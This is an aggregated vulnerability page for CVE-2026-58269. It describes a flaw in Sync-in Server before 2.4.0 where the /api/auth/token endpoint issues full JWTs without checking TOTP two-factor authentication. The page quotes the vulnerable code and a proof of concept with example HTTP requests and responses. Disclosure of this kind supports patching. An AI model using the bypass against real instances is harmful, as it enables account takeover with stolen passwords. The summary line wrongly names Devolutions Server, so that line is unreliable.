CVE-2026-58269
Sync-in Server has a complete 2FA Bypass via `POST /api/auth/token`
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.
Attack profile
How easy it is to exploit
- Attack vector
- Network
- Complexity
- Low
- Privileges needed
- Low
- User interaction
- None
What an attacker can affect
- Confidentiality
- High
- Integrity
- High
- Availability
- None
Exploit likelihood
What each source reports
CVE List Score used
8.1
Sync-in Server has a complete 2FA Bypass via `POST /api/auth/token`
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.
- Record
CVE-2026-58269- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-288
- Updated
- 2026-11-02
EUVDEUVD-2026-84115
8.1
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.
- Record
EUVD-2026-84115- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Updated
- 2026-11-02
GitHub AdvisoriesGHSA-92cr-jxw4-5wjg
8.1
Sync-in Server has a complete 2FA Bypass via `POST /api/auth/token`
Affected component: Sync-in Server v2.3.0, POST /api/auth/token (auth.controller.ts:50-55).
Required attacker capability: Valid username and password for a 2FA-enabled account.
Summary
POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.
The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled when server-side TOTP is enabled.
Details
The token endpoint at auth.controller.ts:50-55 uses AuthLocalGuard (password-only) and calls getTokens() directly:
// auth.controller.ts:50-55
@Post(AUTH_ROUTE.TOKEN)
@AuthTokenSkip()
@UseGuards(AuthLocalGuard)
token(@GetUser() user: UserModel): Promise<TokenResponseDto> {
return this.authManager.getTokens(user)
}
getTokens() at auth.service.ts:25-39 signs and returns access and refresh JWTs. It never reads user.twoFaEnabled:
// auth.service.ts:25-39
async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> {
const currentTime = currentTimeStamp()
// ...expiration logic...
return {
[TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration),
[TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration),
// ...
}
}
Compare with the login endpoint at auth.controller.ts:30-35, which calls setCookies(user, res, true). Inside setCookies() at auth.service.ts:45, the 2FA gate fires:
// auth.service.ts:45
const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled
When verify2Fa is true, setCookies() issues only a restricted ACCESS_2FA token and requires the user to complete POST /api/auth/2fa/login/verify before receiving full session cookies. The token endpoint has no equivalent gate.
PoC
Prerequisites
- A Sync-in instance with TOTP 2FA enabled server-wide.
- A user account with 2FA enrolled (the target).
- The target's valid login and password, but not the TOTP secret or current TOTP code.
Steps
-
Enable 2FA on the target account. Log in as the target user, navigate to Settings, and enable TOTP two-factor authentication.
-
Confirm normal login requires 2FA. Log out. Log back in with the target's credentials. The UI presents a TOTP code prompt before granting access, and the API response contains only
token.access_2fa_expiration(a restricted partial token):
POST /api/auth/login
{"login":"test","password":"..."}
Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}}
- Bypass 2FA via the token endpoint. Send the same credentials to
/api/auth/token:
POST /api/auth/token
{"login":"test","password":"..."}
Response:
{
"access": "eyJhbGciOiJIUzI1NiIs...",
"refresh": "eyJhbGciOiJIUzI1NiIs...",
"access_expiration": 1781235890,
"refresh_expiration": 1781248490
}
Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.
- Confirm API access. Use the token on a protected endpoint:
GET /api/users/me
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Response: {"user":{"id":16,"login":"test","email":"[email protected]","twoFaEnabled":true,...}}
The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.
Measured observations
- The login endpoint (
/api/auth/login) correctly returns a restricted 2FA-pending response. - The token endpoint (
/api/auth/token) returns unrestricted Bearer JWTs with the same credentials and no TOTP. - The returned Bearer token grants…
- Record
GHSA-92cr-jxw4-5wjg- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-288
- Updated
- 2026-11-02
NVD
8.1
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.
- Record
CVE-2026-58269- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-288
- Updated
- 2026-11-02
OSV
8.1
Sync-in Server has a complete 2FA Bypass via `POST /api/auth/token`
Sync-in Server is an open-source platform for file storage, sharing, collaboration, and syncing. Prior to version 2.4.0, POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns full access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker with stolen or phished credentials can bypass 2FA in a single request. The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled. Version 2.4.0 patches the issue.
- Record
CVE-2026-58269- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-288
- Updated
- 2026-11-02
OSVGHSA-92cr-jxw4-5wjg
8.1
Sync-in Server has a complete 2FA Bypass via `POST /api/auth/token`
Affected component: Sync-in Server v2.3.0, POST /api/auth/token (auth.controller.ts:50-55).
Required attacker capability: Valid username and password for a 2FA-enabled account.
Summary
POST /api/auth/token authenticates with username and password only, then calls getTokens(), which returns unrestricted Bearer access and refresh JWTs without checking whether the account has TOTP 2FA enabled. An attacker who already knows valid credentials for a 2FA-enabled account can bypass 2FA in a single request.
The parallel login endpoint (POST /api/auth/login) correctly enforces 2FA by calling setCookies(user, res, true), which gates on user.twoFaEnabled when server-side TOTP is enabled.
Details
The token endpoint at auth.controller.ts:50-55 uses AuthLocalGuard (password-only) and calls getTokens() directly:
// auth.controller.ts:50-55
@Post(AUTH_ROUTE.TOKEN)
@AuthTokenSkip()
@UseGuards(AuthLocalGuard)
token(@GetUser() user: UserModel): Promise<TokenResponseDto> {
return this.authManager.getTokens(user)
}
getTokens() at auth.service.ts:25-39 signs and returns access and refresh JWTs. It never reads user.twoFaEnabled:
// auth.service.ts:25-39
async getTokens(user: UserModel, refresh = false): Promise<TokenResponseDto> {
const currentTime = currentTimeStamp()
// ...expiration logic...
return {
[TOKEN_TYPE.ACCESS]: await this.jwtSign(user, TOKEN_TYPE.ACCESS, accessExpiration),
[TOKEN_TYPE.REFRESH]: await this.jwtSign(user, TOKEN_TYPE.REFRESH, refreshExpiration),
// ...
}
}
Compare with the login endpoint at auth.controller.ts:30-35, which calls setCookies(user, res, true). Inside setCookies() at auth.service.ts:45, the 2FA gate fires:
// auth.service.ts:45
const verify2Fa = init2FaVerify && configuration.auth.mfa.totp.enabled && user.twoFaEnabled
When verify2Fa is true, setCookies() issues only a restricted ACCESS_2FA token and requires the user to complete POST /api/auth/2fa/login/verify before receiving full session cookies. The token endpoint has no equivalent gate.
PoC
Prerequisites
- A Sync-in instance with TOTP 2FA enabled server-wide.
- A user account with 2FA enrolled (the target).
- The target's valid login and password, but not the TOTP secret or current TOTP code.
Steps
-
Enable 2FA on the target account. Log in as the target user, navigate to Settings, and enable TOTP two-factor authentication.
-
Confirm normal login requires 2FA. Log out. Log back in with the target's credentials. The UI presents a TOTP code prompt before granting access, and the API response contains only
token.access_2fa_expiration(a restricted partial token):
POST /api/auth/login
{"login":"test","password":"..."}
Response: {"user":{"twoFaEnabled":true},"server":{"twoFaEnabled":true},"token":{"access_2fa_expiration":1781234379}}
- Bypass 2FA via the token endpoint. Send the same credentials to
/api/auth/token:
POST /api/auth/token
{"login":"test","password":"..."}
Response:
{
"access": "eyJhbGciOiJIUzI1NiIs...",
"refresh": "eyJhbGciOiJIUzI1NiIs...",
"access_expiration": 1781235890,
"refresh_expiration": 1781248490
}
Unrestricted Bearer access and refresh JWTs are returned. No TOTP code was required.
- Confirm API access. Use the token on a protected endpoint:
GET /api/users/me
Authorization: Bearer eyJhbGciOiJIUzI1NiIs...
Response: {"user":{"id":16,"login":"test","email":"[email protected]","twoFaEnabled":true,...}}
The server returns the user profile. Protected API endpoints that accept Bearer authentication are accessible as the target user. No TOTP code was required at any step.
Measured observations
- The login endpoint (
/api/auth/login) correctly returns a restricted 2FA-pending response. - The token endpoint (
/api/auth/token) returns unrestricted Bearer JWTs with the same credentials and no TOTP. - The returned Bearer token grants…
- Record
GHSA-92cr-jxw4-5wjg- CVSS 3.1
- 8.1 High
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N - Weakness
- CWE-288
- Updated
- 2026-11-02
Affected products
Affected packages
| Package | Affected | Fixed |
|---|---|---|
@sync-in/servernpm |
through 2.3.0 | 2.4.0 |
@sync-in/servernpm |
before 2.4.0 | 2.4.0 |
History
| Recorded | Changed | Sources |
|---|---|---|
| first indexed | CVE List, EUVD, GitHub Advisories, NVD, OSV |
Dates are when Every CVE recorded each change. Upstream dates may differ.
In short
CVE-2026-58269 is a high vulnerability (CVSS 8.1) in Devolutions Server, published September 21, 2026. No source lists public exploit code. EPSS puts the chance of exploitation in the next 30 days at 0.27%, the 19th percentile. Fixed in @sync-in/server 2.4.0.
References
github.com/Sync-in/server/security/advisories/GHSA-92cr-jxw4-5wjg
nvd.nist.gov/vuln/detail/CVE-2026-58269
github.com/Sync-in/server/pull/228
github.com/Sync-in/server/commit/3ec74e2ea1f538fe1a3ac9487bdf24a19e548361
github.com/Sync-in/server/releases/tag/v2.4.0
github.com/advisories/GHSA-92cr-jxw4-5wjg
github.com/CVEProject/cvelistV5/tree/main/cves/2026/58xxx/CVE-2026-58269.json
github.com/Sync-in/server
Left out here: the rest of 2 source descriptions. The JSON record has them.